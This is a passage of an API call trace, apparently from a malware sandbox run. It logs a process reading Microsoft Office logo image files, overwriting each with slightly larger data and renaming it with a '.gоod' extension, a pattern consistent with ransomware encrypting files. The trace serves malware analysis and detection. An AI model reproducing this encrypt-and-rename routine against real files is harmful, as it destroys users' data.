lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x68 [0232.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x6d [0232.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0232.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x870233fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0232.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0232.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0233.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0233.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0233.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x38b1ad8 | out: lpFileInformation=0x38b1ad8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1 [0233.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0233.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0233.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0233.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.133] GetFileType (hFile=0x630) returned 0x1 [0233.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0233.133] GetFileType (hFile=0x630) returned 0x1 [0233.133] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x93a [0233.133] ReadFile (in: hFile=0x630, lpBuffer=0x38b27d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38b27d0*, lpNumberOfBytesRead=0x1fcee238*=0x93a, lpOverlapped=0x0) returned 1 [0233.135] CloseHandle (hObject=0x630) returned 1 [0233.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0233.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0233.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.147] GetFileType (hFile=0x630) returned 0x1 [0233.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0233.147] GetFileType (hFile=0x630) returned 0x1 [0233.147] WriteFile (in: hFile=0x630, lpBuffer=0x392dc70*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x392dc70*, lpNumberOfBytesWritten=0x1fcee148*=0x940, lpOverlapped=0x0) returned 1 [0233.148] CloseHandle (hObject=0x630) returned 1 [0233.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x69 [0233.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6e [0233.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0233.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x872d1e76, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x940)) returned 1 [0233.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0233.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0233.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0233.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0233.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x392efd8 | out: lpFileInformation=0x392efd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab2)) returned 1 [0233.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0233.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0233.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0233.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.150] GetFileType (hFile=0x630) returned 0x1 [0233.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0233.150] GetFileType (hFile=0x630) returned 0x1 [0233.151] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xab2 [0233.151] ReadFile (in: hFile=0x630, lpBuffer=0x392fe48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x392fe48*, lpNumberOfBytesRead=0x1fcee238*=0xab2, lpOverlapped=0x0) returned 1 [0233.154] CloseHandle (hObject=0x630) returned 1 [0233.211] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0233.211] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0233.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.213] GetFileType (hFile=0x630) returned 0x1 [0233.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0233.213] GetFileType (hFile=0x630) returned 0x1 [0233.213] WriteFile (in: hFile=0x630, lpBuffer=0x37c5eb0*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37c5eb0*, lpNumberOfBytesWritten=0x1fcee148*=0xac0, lpOverlapped=0x0) returned 1 [0233.214] CloseHandle (hObject=0x630) returned 1 [0233.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x69 [0233.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6e [0233.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0233.214] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x87390a97, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xac0)) returned 1 [0233.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0233.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0233.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0233.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0233.216] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37c7218 | out: lpFileInformation=0x37c7218*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd17)) returned 1 [0233.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0233.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0233.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0233.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0233.216] GetFileType (hFile=0x630) returned 0x1 [0233.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0233.216] GetFileType (hFile=0x630) returned 0x1 [0233.216] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xd17 [0233.216] ReadFile (in: hFile=0x630, lpBuffer=0x37c82e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37c82e8*, lpNumberOfBytesRead=0x1fcee238*=0xd17, lpOverlapped=0x0) returned 1 [0233.218] CloseHandle (hObject=0x630) returned 1 [0234.309] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0234.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0234.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.398] GetFileType (hFile=0x630) returned 0x1 [0234.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0234.398] GetFileType (hFile=0x630) returned 0x1 [0234.749] WriteFile (in: hFile=0x630, lpBuffer=0x3833658*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3833658*, lpNumberOfBytesWritten=0x1fcee148*=0xd20, lpOverlapped=0x0) returned 1 [0234.749] CloseHandle (hObject=0x630) returned 1 [0234.750] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x69 [0234.750] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6e [0234.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0234.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88235a61, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd20)) returned 1 [0234.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0234.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0234.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0234.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0234.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x38349c0 | out: lpFileInformation=0x38349c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x733)) returned 1 [0234.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0234.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0234.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0234.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.752] GetFileType (hFile=0x630) returned 0x1 [0234.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0234.752] GetFileType (hFile=0x630) returned 0x1 [0234.752] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x733 [0234.752] ReadFile (in: hFile=0x630, lpBuffer=0x38354b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38354b0*, lpNumberOfBytesRead=0x1fcee238*=0x733, lpOverlapped=0x0) returned 1 [0234.790] CloseHandle (hObject=0x630) returned 1 [0234.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0234.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0234.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0234.803] GetFileType (hFile=0x630) returned 0x1 [0234.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0234.803] GetFileType (hFile=0x630) returned 0x1 [0234.803] WriteFile (in: hFile=0x630, lpBuffer=0x3929460*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3929460*, lpNumberOfBytesWritten=0x1fcee148*=0x740, lpOverlapped=0x0) returned 1 [0234.804] CloseHandle (hObject=0x630) returned 1 [0234.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x68 [0234.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x6d [0234.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0234.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x882a7ff1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0234.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0234.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program 